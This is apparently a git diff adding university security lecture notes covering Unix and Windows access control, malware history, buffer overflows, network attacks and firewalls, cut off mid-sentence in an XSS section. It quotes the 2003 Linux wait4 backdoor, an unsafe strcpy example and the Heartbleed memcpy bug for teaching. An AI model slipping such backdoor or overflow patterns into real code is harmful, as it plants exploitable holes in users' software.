+- Your IDs are stored in `/etc/passwd`
+ - This stores user accounts, not just passwords
+- Root has a special UID of 0
+
+###### The Shadow File
+
+- In an attempt to improve password security, we can store password hashes in a shadow file
+ - Readable only by root users
+- `/etc/shadow` stores the hashed passwords needed to authenticate users
+
+#### Root (Unix Superuser)
+
+- Root’s UID 0 is actually hard coded into the Linux kernel at multiple points
+- In 2003, this anonymous change was made to the error value return in the `wait4` function is Linux:
+
+```
+if ((options == (_WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL
+```
+
+Note: single `=`. This was a backdoor which sets the current uid to 0, giving root perms
+
+###### Root Management
+
+- Write protect `/etc/passwd` and `/etc/group`
+- Separate superuser duties (e.g. daemon, uucp)
+- Never use root as normal user
+- Audit `su` and `sudo` usage
+- In unix, everything is a file
+- Files really represent resources
+- Organised in a tree structure, with alterations depending on the file system
+ - I-nodes store permission information
+- Every resource as a owner and a group
+
+###### I-nodes
+
+- I-nodes in unix store the metadata for files
+- Each file name links to an i-node which stores security information
+
+```
+❯ stat /etc/passwd
+ File: /etc/passwd
+ Size: 1543 Blocks: 8 IO Block: 4096 regular file
+Device: 8,3 Inode: 27799243 Links: 1
+Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
+Access: 2022-02-23 20:19:14.126528209 +0000
+Modify: 2022-02-11 21:26:48.253868839 +0000
+Change: 2022-02-11 21:26:48.260535505 +0000
+ Birth: 2022-02-11 21:26:48.253868839 +0000
+```
+
+##### Permissions
+
+- Every resource has permission bits - held in the i-node metadata
+- Permissions for the user / group / others
+- Octal representation
+ - Bit 3: read
+ - Bit 2: write
+ - Bit 1: execute
+- Permissions are changed using `chmod` and passing three octal values
+
+
+
+Directory permissions are slightly different to files:
+
+- `r` - list files within the directory
+- `w` - add or remove files
+- `x` - traverse the directory, open files in the directory
+
+#### SUID
+
+- Set UID: set the effective user to be the file owner when executed
+- Necessary to allow non-privileged access to privileged e.g. passwords
+
+### Linux Security Modules
+
+- SInce 2.6, linux provides the ability to hook into security calls
+- This adds the ability to perform more complex Mandatory Access Control after standard Unix DAC
+- DAC check happens irrespective of whether SM is operationa.
+
+
+
+- If the security module fails, it does not matter as the discretionary access check has already run.
+
diff --git a/docs/lectures/security/08_windows_security.md b/docs/lectures/security/08_windows_security.md
new file mode 100644
index 0000000..b16b539
--- /dev/null
+++ b/docs/lectures/security/08_windows_security.md
@@ -0,0 +1,163 @@
+# Windows Security
+
+Windows Architecture
+
+
+
+Note: windows has `kernel mode drivers` and `user mode drivers`
+
+### Security Subsystem
+
+- Runs in user mode
+- `Logon` processes (`winlogon`, `LogonUI`)
+- Local security authority (`LSA`)
+ - Checks Users accounts
+ - Provides access token
+ - Responsible for auditing
+- Security Account manager (`SAM`)
+ - Maintains user account database used by `LSA`
+ - Encrypts / hashes passwords
+- Windows predominantly uses **Access Control Lists**, and has done since Windows NT
+- Extends the usual read, write and execute with:
+ - Take ownership
+ - Change permissions
+ - Delete
+ - This allows finer control over files for example a user will be able to read a file but not delete it
+- 32-bit access masks (unlike Unix’s 9 bits)
+- A higher degree of control, with the associated complexity increase
+
+### Access Control Matrix
+
+- Access rights are defined individually for each combination of subject and object
+ - Quite an abstract concept, bit would allow for very fine grained control
+ - Not practical, think of the memory required in scaling it up
+
+
+
+##### Capabilities
+
+- A list of capabilities defined per user, equivalent to a row in the access control matrix
+
+
+
+Windows doesn’t do this, it does the opposite storing columns called the **Access Control List**
+
+##### Access Control List
+
+- Stored with an object itself, corresponding to a column of an ACM
+
+
+
+The access control list can be found by right clicking on a file -> properties -> security.
+
+### Access Control
+
+- Access control in windows treats more than just files, also:
+ - Registry keys
+ - Active directory objects
+ - Groups
+- Inheritance is implemented
+ - File can inherit ACLs from parent directories
+
+#### Principles
+
+- Principles are more broadly defined as well:
+- Local users
+- Domain users
+- Groups
+- Machines
+
+Each principles has a human readable name and security ID (`SID`)
+
+```
+S-1-5-21-2475811070-2421845406-3333283485-1005
+S-1-5-21-1664130791-3153540899-3044996548-279530
+```
+
+These are examples of `SID` from windows, but why are they so long?
+
+This is a form of future proofing. Imagine company A buys company B, you can merge the users onto one active directory without two `SID`s clashing. (also 96 bits of memory isn’t a lot in the grand scheme of things)
+
+##### Local / Domain Principles
+
+- LSA creates local principles
+ - principle = `MACHINE\principal`
+- Domain principles adminstered on DC by domain admins
+ - principle@domain = DOMAIN\principle
+ - net user /domain
+ - net group /domain
+ - net localgroup /domain
+
+#### Groups
+
+- Groups are collections of `SID`s (object-orientated)
+- Group can itself be an `SID`
+- Groups can thus be nested
+- Groups are not nest-able on local machines
+- Managed by a domain controller within Active Directory
+
+#### Objects
+
+- Objects are passive entities in access operations
+- In windows:
+ - Executive objects (processes, threads, etc)
+ - Private objects (files, directories)
+- Securable objects have a security descriptor
+ - Built-in securable objects managed by the OS
+ - Private objects managed by the application software
+
+### Access Tokens
+
+- Instead of passing a number as in linux, we pass an access token
+- It is the security credentials for a login session stored in the **access token**
+- Identifies the user, the user’s groups, and the user’s privileges
+
+#### Subjects
+
+- Windows subjects: Processes and threads
+- New processes get a **copy** of the parent access token, possibly modified
+- Individual access token are immutable and can live beyond policy changes
+ - The access token checked is the one given at login, not the current access token
+ - This is a TOCTTOU issue (Time-of-check to Time-of-use)
+ - Admins can force a user to logoff to update their access token
+
+### User Account Control
+
+- After Vista, administrator users do not use an administrative access token by default
+- Users have two tokens, one heavily restricted and used by default
+- A prompt allows a user to spawn a process with the adminstrative token, or switch a process’ token.
+ - Similar to `sudo`
+ - Can be swapped mid-execution
+
+#### Domains
+
+- Single sing-on for network resources
+- Centralised security administration
+- Domain controller (DC)
+ - Handles user accounts and access control
+ - Trusted 3rd party for authentication
+- Multiple DCs allow for decentralisation by design
+
+#### Interactive Logon
+
+- The windows interactive logon allows a user to authenticate
+- Windows logon begins with the Secure Attention Sequence `Ctrl+Alt+Del`
+ - Can prevent spoofing - is tied directly to `winlogon`
+- The logon process differs slightly for local and domain authentication
+
+##### Local Logon
+
+1. `Ctrl+Alt+Del` initiates a login prompt using `GINA`
+2. These collect credentials which are passed to the `LSA`
+3. The `LSA` uses `NTLM` to check the credentials against the `SAM` database
+4. Successful login an access token, which is used to spawn a shell (explorer.exe)
+
+
+
+##### Domain Logon
+
+- Replaces `NTLM` with `Kerberos`
+- Replaces `SAM` with an Active Directory Domain Controller
+- Checks of a user are now performed on the remote `LSA`
+
+
\ No newline at end of file
diff --git a/docs/lectures/security/09_malware.md b/docs/lectures/security/09_malware.md
new file mode 100644
index 0000000..67b6e85
--- /dev/null
+++ b/docs/lectures/security/09_malware.md
@@ -0,0 +1,141 @@
+# Malware
+
+**Malware** - **Mal**icious Soft**ware**
+
+- A very general term, malware is usually categorised based on
+ - How it proliferates
+ - What it does
+
+
+
+**Rootkit** - backdoor that installs itself in the kernel which makes it undetectable
+
+### Vectors
+
+- Vectors are the mechanism through which malware infects a machine
+- Usually the vector will be a *software vulnerability*
+- Or someone clicked something they shouldn’t have
+
+### Payload
+
+- Payloads are the actual malware deposited on the machine, or the harmful results
+- They range in severity
+ - Essentially do nothing
+ - Messages and adverts
+ - Recruited into botnets or mail spam
+ - Stealing private information
+ - System destruction
+ - Ransomware & Crypto-jacking
+
+#### Virus
+
+- A piece of self-replicating code
+- Propagates by attaching itself to a disk, file or document
+- When the file is run, the virus runs and attempts to proliferate
+- Installs without the users knowledge or consent
+
+##### Notable Viruses
+
+- 1981: `Elk Cloner`, the first known virus found *in the wild* that affected Apple II computers
+- 1986: `Brain`, the first MS-DOS computer virus
+- 1989: `Ghostball`, the first multipartite virus - affects both `exe`s and the boot sector
+- 1995: First macro virus, `Concept`, affects MS Word documents
+- 1996: First linux virus, `Staog`, uses bugs in the linux kernel
+
+#### Worms
+
+- Viruses traditionally require a human to spread
+- Worms are self-replicating and stand-alone programs
+ - Do not require human intervention
+- Scanning worms or email worms
+- Exploit known software vulnerabilities in order to spread
+
+##### Notable Worms
+
+- 1988: The Morris Worm, affects BSD unix machines. One of the first known buffer overruns
+- 2000: The `ILOVEYOU` worm, one of the most damaging worms ever, used social engineering to get people to install it.
+ - Used the file name `LOVE-LETTER-FOR-YOU.txt.vbs` as windows didn’t show the file type in the file name
+
+
+
+### 2003-2004
+
+- During 2003 and 2004 worms were everywhere
+ - SQL Slammer - fastest spreading worm, crashed the internet (only 376 bytes or 1 UDP packet)
+ - Even when the network was crippled, the occasional UDP packet could be transmitted and further damage the network
+ - MS Blaster - Windows XP mainly, crashes RPC and reboots your machine
+ - Spreading between machines on a internal network easily, no port filtering
+ - Used a buffer overflow in a windows Remote Procedure Call (RPC) service - spreads without the user clicking
+ - Compromised machines performed DDOS on `windowsupdate.com`
+ - Netsky - Infected email attachment, actually removed other worms as part of a *worm war*
+ - Sasser - From the author of Netsky, attacks windows `LSASS`
+ - Spread 17 days after a patch to the vulnerability was released by Microsoft
+ - Buffer overflow in the Local Security and Authority Subsystem Service `LSASS`
+ - Scans IP addresses and infects via port 445
+
+#### Exploit Life Cycle
+
+- Many exploits are reverse engineered from patches, or developed simultaneously to patches
+
+
+
+##### Zero-day Exploits
+
+- An exploit that is previously unknown - by far the most dangerous
+
+
+
+###### Stuxnet
+
+- Believed to be an American-Israeli cyber weapon
+ 1. Uses *four zero-day flaws* to infect Windows
+ 2. Seeks out any instance of `Siemens Step7`
+ 3. Finds programmable logic controllers (PLC)
+ 4. Detects attached centrifuges and spins them to destruction
+ 5. Reports that the centrifuges are fine
+
+### Trojans
+
+- A malicious program pretending to be a legitimate application
+- Often obtained in email attachments or at malicious websites
+- Don’t replicated themselves - *user error*
+- Randomware is the most common form of Trojan now
+
+#### Notable Trojans
+
+- 1989: The AIDS Trojan, encrypts all files filenames on the system and request random
+- 2002: Beast, affects windows machines from 95-XP and provides the attack with a remote admin tool (RAT) - there are a lot of these types
+- 2013: Cryptolocker - massive randomware
+
+##### Ransomware
+
+- Will usually encrypt or block access to files and demand ransom
+- It is a clever solution, because if an anti-virus removes it, it is often too late
+- Usually distributed on malicious websites, or to already infected machines
+- The file decryption keys are protected by encrpyting using the *public key of a C&C server*
+
+###### Ransomware Variants
+
+- Most the challenge in successfully using randomware is tricking a user into running it, and bypassing anti-virus and browser protection
+ - Fake emails
+ - Malicious web pages
+ - Obfuscated javascript attachments
+ - Deployed using *exploit kits*
+
+##### CryptoWall JS Example
+
+
+
+- Everything is obfuscated
+
+#### Crypto-jacking
+
+- Coinhive is a Monero mining API released in September 2017
+- It is a legitimate company, with an aim of replacing advertising on websites with currency mining
+
+
+
+- This was exploited almost immediately
+ - Extremely easy to use the API
+ - Monero mining is pretty easy even on a CPU
+ - JavaScript is easy to inject onto websites via adverts
\ No newline at end of file
diff --git a/docs/lectures/security/10_exploits.md b/docs/lectures/security/10_exploits.md
new file mode 100644
index 0000000..342076d
--- /dev/null
+++ b/docs/lectures/security/10_exploits.md
@@ -0,0 +1,147 @@
+# Exploits
+
+- The easiest way of getting access to a machine is having the user install something for you
+- A software or hardware bug that allows an attacker to circumvent an OS’ security perimeter
+
+#### Memory Management
+
+- In C and C++, the programmer performs memory management
+- Flexible, powerful, fast but dangerous
+ - Buffer Overruns
+ - Stack Overruns
+ - Heap Overruns
+- Memory-managed languages avoid this, but of course may have their own vulnerabilities
+
+### Buffer Overflows
+
+- When a program is executed, contiguous blocks of memory can be allocated to store arrays (buffers)
+- If data is written into a buffer that exceeds its size, an overflow occurs
+- The data will overwrite the memory beyond the buffer
+
+#### Program Memory
+
+- Memory is stored in virtual address space from `0x0000...` to `0xFFFF...`
+- Parts of the program are held in different regions by convention
+- Different restrictions are placed on these regions
+
+
+
+##### The Stack
+
+The stack holds information on local variables and function calls (stack frames)
+
+1. A function call will push a new frame onto the stack
+2. A return will pop it off, and go to `ret`
+
+```c
+void function(int a, int b, int c)
+{
+ char buffer1[5];
+ char buffer2[10];
+}
+
+void main()
+{
+ function(1,2,3);
+}
+```
+
+
+
+###### Stack Smashing
+
+- In C and C++, low level functions like `strcpy` perform no bounds checking at all
+ - This is partly due to the fact strings are null terminated, if we provide no null character `strcpy` will continue to run
+- If `str` is long, we can write into other memory
+
+```c
+void function(char *str)
+{
+ // allocate local buffer
+ char buffer[128];
+ // Copy str into local buffer
+ strcpy(buffer, str);
+}
+```
+
+
+
+###### Stack Canaries
+
+- Stack canaries modify the prologue and epilogue of all functions to check a value ion front of the return address is unchanged
+
+
+
+- If you can work out the canary value, there is no issue
+
+###### Data Execution Prevention (NX)
+
+- Modern operating systems will mark the stack as non-executable
+ - `NX` on AMD, `XD` on Intel and `XN` on arm
+- An `NX` stack means that adding in our exploit code won’t work
+- We can circumvent this using a `return-to-libc` attack
+
+###### Further Protection
+
+- To defeat `ret2lib2` various `0x0` null bytes are inserted into standard library addresses
+- Developers also restrict access to obvious system calls
+- Address Space Layout Randomisation (`ASLR`) moves the address of library and programs around
+ - They don’t have to move too much before your hand-crafted `ret` addresses will break
+
+###### Return-Oriented Programming
+
+- Lets forget about injecting code, how about just using existing code in the actual exploitable program
+- No individual section of this program will do what we want
+- Find short sections, *gadgets* and link them together
+
+
+
+##### Race Conditions
+
+- With concurrent threads or processes, timing can lead to security vulnerabilities
+
+
+
+- Here the victim unknowingly modifies the wrong file
+- This can happen because the CPU context switches and can execute these two processes simultaneously
+- Running this continuously for about 10 minutes, this will work once
+
+##### Heartbleed
+
+- Heartbleed is a bug in `OpenSSL`
+ - Open source `SSL` library
+ - Started in `OpenBSD`
+ - Used almost *everywhere*
+- Specifically targeted the heartbeat extension
+ - Extension to regular `SSL` and used for keep-alive purposes, to stop quiet connections being closed
+ - Client sends a message to the server to say it’s alive
+ - Server responds (also alive)
+
+
+
+**The Bug**
+
+```c
+buffer = OPENSSL_malloc(1 + 2 + payload + padding);
+bp = buffer;
+
+/* Enter response type, length and copy payload */
+*bp++ = TLS1_HB_RESPONSE;
+s2n(payload, bp);
+memcpy(bp, p1, payload); //BAD
+bp += payload;
+
+/* Random padding */
+RAND_pseudo_bytes(bp, padding);
+
+r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload +
+padding);
+if (r >= 0 && s->msg_callback)
+ s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
+ buffer, 3 + payload + padding,
+ s, s->msg_callback_arg);
+```
+
+This bug would just memcpy a bunch of the server’s ram and send it back to the client. This can expose RSA keys.
+
+This is called a **buffer overread** attack.
\ No newline at end of file
diff --git a/docs/lectures/security/11_network_security.md b/docs/lectures/security/11_network_security.md
new file mode 100644
index 0000000..86db7a4
--- /dev/null
+++ b/docs/lectures/security/11_network_security.md
@@ -0,0 +1,161 @@
+# Network Security
+
+### TCP/IP
+
+- Each protocol carries the protocol in the layer above by appending headers to it
+
+
+
+- IP is connection-less and state-less
+ - Best effort service
+ - No delivery guarantee
+ - No order guarantee
+- IPv4 No guaranteed security support
+- IPv6 security support is guaranteed - IPSec
+
+#### IPSec
+
+- Optional in IPv4, mandatory support in IPv6
+- Two major security mechanisms
+ - IP Authentication Header (AH)
+ - IP Encapsulation Security Payload (ESP)
+- Does not contain any mechanisms to prevent traffic analysis
+
+##### Encapsulation Security Payload
+
+- Includes an additional header within the IP packet that describes what encryption and authentication is in use
+
+
+
+##### Security Parameter Index
+
+- Stores security parameters e.g. crypto protocol and keys
+- Established by Internet Security association and key management protocol (ISAKMP) during the Internet Key Exchange (IKE) handshake
+ - Uses Diffie-Hellman for key exchange
+- The SPI references the entry in a table that corresponds to this session’s parameters
+
+- ESP uses either *transport* or *tunnel* modes
+
+Transport mode
+
+
+
+Tunnel mode
+
+
+
+#### Transport vs Tunnel
+
+- Transport mode simply encrypts packets, providing host-to-host encryption but using the original header
+- Prevents contents being read, but does not stop traffic analysis or manipulation of the header
+
+- Tunnel mode (usually gateway-to-gateway) protects some segment of a channel with encryption
+- Provides some resistance to traffic analysis, and completely protects manipulation of the payload
+- VPNs are commonly implemented this way
+
+
+
+### Network Attacks
+
+#### ARP
+
+- ARP is a protocol used to obtain physical MAC addresses for given IPs
+ - It is used prior to constructing IP and TCP packets for communication
+ - Network layer
+
+
+
+##### ARP Cache Poisoning
+
+- We can simply send an unrequested ARP reply, and overwrite the MAC address in a hosts ARP cache with our own
+
+
+
+##### ARP Protection
+
+- Some OSs ignore unsolicited ARP requests, or can be configured to use ARP differently
+- Some software, such as intrusion detection packages, will include ARP spoofing detection
+ - Maintain a log of current MAC:IP assignments and ARP requests / replies
+
+#### DNS
+
+- DNS translates domain names into IP addresses
+- DNS packets are UDP
+ - Stateless on the transport layer
+- DNS resolvers will cache the IP for awhile
+
+##### DNS Spoofing
+
+- If we poison the cache of a nameserver people are using, we can replace a website lookup with our IP
+- Can be achieved through prior ARP cache poisoning, a reply flood or a Kaminsky attack
+
+
+
+###### DNS Protection
+
+- *Random query numbers* help protect against spoof replies
+- Since the Kaminsky attack, most resolvers now *randomise the source port* too
+- DNSSEC aims to tackle DNS exploits by authenticating the name server and providing integrity for the messages
+
+### Denial of Service
+
+- A denial of service attack is an attempt to make a machine or network resource unavaliable to its authorised / intended users
+- This will usually involve flooding a machine with enough requests that it can’t server its legitimate purpose
+ - ping flood
+- A distributed denial of service occurs where there is more than one attacking machine
+
+#### TCP Syn Flooding
+
+- Attacker initiates a genuine connection but then immediately breaks it
+- Attack never finishes 3-way handshake
+- Victim is busy with the timeout
+- Attack initiates large number of syn requests
+- Victim reaches it’s half-open connection limit
+
+
+
+#### Amplification Attacks
+
+- Regular attacks are your bandwidth vs your targets
+- Amplification attacks utilise some aspect of a network protocol to *increase the bandwidth* of an attack
+
+
+
+##### Smurf and Fraggle Attacks
+
+- Smurf attacks broadcast an ICMP ping request to a router, but with a spoofed IP belonging to the victim
+- A fraggle attack is identical in principle, using UDP echo packets
+
+
+
+##### DNS Amplification
+
+- Recursive resolvers respond to DNS queries then return a response
+- This response can be many times larger than the query
+
+
+
+- In an ideal world, all DNS resolvers would:
+ - Use an authorised list of requesters
+ - e.g. ISPs allowing requests from only their customers
+ - Egress filtering
+- Many DNS servers are set up incorrectly, and will happily amplify your traffic - **Open resolvers**
+- Botnets maintain lists of these open resolvers and there are projects attempting to shut these down
+
+##### NTP Amplification
+
+- NTP is a protocol for synchronsing time between machines
+- Extremely similar to DNS amplification
+- `MON_GETLIST` request returns the list of the last 600 contacts
+ - Gives 200x amplification
+ - `MON_GETLIST` is deprecated because of this attack
+
+##### Slow Loris
+
+- Opens numerous connections to a server
+- Begin an HTTP request
+ - Send just enough traffic to stop the connection from closing
+ - Apache2 creates a new thread for each connection
+ - More connections slow the server down significantly
+- The attack only sends bytes of data at a time making it extremely easy to do
+
diff --git a/docs/lectures/security/12_firewalls.md b/docs/lectures/security/12_firewalls.md
new file mode 100644
index 0000000..82cc00e
--- /dev/null
+++ b/docs/lectures/security/12_firewalls.md
@@ -0,0 +1,194 @@
+# Firewalls
+
+- A hardware and/or software system
+- Prevents unauthorised access of packets from one network to another
+- All data leave any subnet must pass through it
+
+
+
+### Firewall Functions
+
+- Implements *single point* security measures
+- Security event monitoring through packet analysis and *logging*
+- Network-based access control through implementation of a rules set
+
+**Network Firewalls** - placed between a subnet and the internet
+
+**Host-based Firewalls** - placed on individual machines
+
+- A standard home router is a good example of a network firewall
+
+
+
+#### DMZ
+
+- A demilitarised zone is a small subnet that separates exrternally facing services from the internal network
+
+
+
+- Imagine we have a web and email server running, these servers need different firewall rules to personal machines on the network
+
+##### Basic Function
+
+- Defends a network against parties accessing *internal services*
+- Can also restrict access from *inside to outside* services
+- Network Address Translation
+ - Hides the internal machines with private addresses
+
+**Firewalls are not enough**
+
+- Cannot protect against attacks that bypass the firewall
+ - e.g. tunneling
+- Cannot protect against internal threats or insiders
+ - Might help a bit by egress filtering
+- Network firewalls cannot always protect against the transfer of virus-infected programs or files
+
+#### Packet Filters
+
+- Specify which packets are *allowed or dropped*
+- Rules based on:
+ - Source / destination IP
+ - TCP / UDP port numbers
+- Possible for both *inbound* and *outbound* traffic
+- Can be implemented in a router by only examining packet headers (**IP / TCP**)
+
+##### Packet Filter Rules
+
+- Rule execution depends on implementation
+ - `IPTABLES`: **First** rule to match is applied
+ - `PF`: All rules are examined, **last** match is applied
+- Rules are organised in *chains*, which are logical subgroups of rules
+- Depending on the packet, different chains are activated
+
+###### IPTABLES
+
+- An application that provides access to the Linux firewall rule tables
+ - Not actually a firewall, but configures the firewall
+ - The firewall is mostly implemented as `netfilter` modules
+
+###### Tables and Chains
+
+- `IPTABLES` uses tables to store chains
+ - Default is the filtering table
+- Chains are ordered in lists of rules
+ - Rules match, or they don’t
+- Matches result in a **jump**, else we check the next rule.
+
+
+
+Default policy on this chain is `DROP`
+
+- There can be multiple chains per table
+ - e.g. a `TCP` handling chain
+- Jumps can go to `ACCEPT`, `DROP`, `LOG` or another chain
+- Complex behaviour can be built up
+
+
+
+##### Defaults
+
+- There are four built-in tables in `IPTABLES`
+ - Filter
+ - `NAT`
+ - Mangle - packet alteration
+ - Raw - skips connection tracking
+- The default table is the filtering table, including input, output and forward chains
+
+
+
+###### Rules Examples
+
+- Using the command line, we add rules onto the end of chains
+
+```bash
+$ iptables -A INPUT -i eht0 -p tcp --dport 80 -j ACCEPT
+$ iptables -A OUTPUT -i eht0 -p tcp --sport 80 -j ACCEPT
+```
+
+- Remember `http` requests are not sent from the client’s port 80, it is sent from a random high numbered port
+ - This is how clients can have multiple web requests open at the same time
+
+##### Policies
+
+- **Permissive** - allow everything by default except dangerous services
+ - Make a black list
+ - Easy to make a mistake or forget something
+
+```bash
+iptables -p INPUT ACCEPT
+iptables -p FORWARD ACCEPT
+iptables -p OUTPUT ACCEPT
+
+iptables -A INPUT -s X.X.X.X -j DROP
+iptables -A OUTPUT -p tcp --dport ssh -j DROP
+```
+
+- **Restrictive** - block everything except designated useful services
+ - Make a white list
+ - More secure by default
+
+```bash
+iptables -p INPUT DROP
+iptables -p FORWARD DROP
+iptables -p OUTPUT DROP
+
+iptables -A INPUT -p tcp --dport ssh -j ACCEPT
+iptables -A OUTPUT -s 192.168.0.2 -j ACCEPT
+```
+
+#### Packet Filter Issues
+
+- Packet filters are simple, low-level and have high assurance
+- However they cannot:
+ - Prevent attacks that employ application specific vulnerabilities
+ - Do not support higher-level authentication schemes
+ - Easy to accidentally allow or deny packets incorrectly
+
+### Stateful Packet Filters
+
+- Understand requests and replies (`ACK/SYN`)
+- Dynamically generate rules
+ - Based on what it sees from TCP handshakes (can be FTP or SSH etc)
+- Can support policies for a wider range or protocols
+- `IPTABLES` has a module for stateful packet filtering
+- Allow incoming / outgoing SSH connections
+
+
+
+#### Connection Tables
+
+
+
+- `ACK` packets are used to keep track of the session - the connection is ongoing
+- Packets without the `ACK` are the connection establishment messages
+
+#### Application-level Gateways
+
+- Packet filters have limited criteria that allow data in and out
+- An application gateway considers the *application-layer* protocol that is in use
+ - For example if someone sends an `HTTP` request to port 22, it is blocked
+
+##### Proxy Server
+
+- Proxy servers initiate a connection on our behalf
+- They can block certain access, and scan for malicious files or web pages
+
+
+
+**Issues**:
+
+- Large overhead per connection
+- More expensive than packet filtering
+- Configuration is complex
+- A separate server is required for each service
+
+### Network Address Translation
+
+The shortage of IP addresses mean that most routers now perform NAT automatically
+
+
+
+- The implicit advantage in NAT is that your machine is almost totally hidden from the internet
+- Only **established connections** are forwarded to your internal machine
+ - Or, specific **port forwarding** rules
+- This prevents any unsolicited attacks on random ports, but no other types of attack
\ No newline at end of file
diff --git a/docs/lectures/security/13_internet_security.md b/docs/lectures/security/13_internet_security.md
new file mode 100644
index 0000000..48d80b7
--- /dev/null
+++ b/docs/lectures/security/13_internet_security.md
@@ -0,0 +1,100 @@
+# Internet Security
+
+#### Internet Treat Models
+
+- Different to other treat models:
+ - The attacker isn’t in control of the network
+ - The attacker hasn’t got access to the target’s OS
+
+## Cookies
+
+- `HTTP` is a **stateless** protocol
+- Most of what we do online is **stateful**
+- Cookies are small text files used to provide *persistence*
+- Servers can provide cookies during HTTP responses, using `Set-Cookie`
+- Browsers will return any cookies for a given domain in `GET` and `POST` requests
+
+
+
+### Types of Cookie
+
+- **Session** - Deleted when the browser exits, contain no expiration date
+- **Persistent** - Expire at a given time
+- **Secure** - Can only be used over `HTTPS`
+- `HTTPOnly` - Inaccessible to `js`
+ - Makes it harder to steal
+
+##### Third Party Cookies
+
+- Cookies are associated with the domains that produced them
+ - `amazon.com` cookies don’t go to `google.com`
+- Some websites include request to other domains, such as 3rd party advertisers
+ - These serve cookies *a lot*
+ - This is how advertiser companies know what ads you’ve been served and what adverts you’ve clicked on
+
+### Cookie Vulnerabilities
+
+- How a website uses a cookies is up to the server
+- Many create a `SID` to authenticate users, for example to *keep me logged on*
+- Obtaining this cookie - *cookie stealing* - lets you **hijack** their session
+ - `HTTP` Cookies can be stolen simply by monitoring
+ - `HTTPS` will require cross-site scripting attacks or DNS poisoning
+
+#### Cross-site Scripting (XSS)
+
+- A type of *injection attack*, similar in many ways to an SQL injection
+- HTML is read by a browser and is a combination of content and structure
+- If we can inject `html` structures into the content of a website, the browser will simply execute these
+ - e.g. a `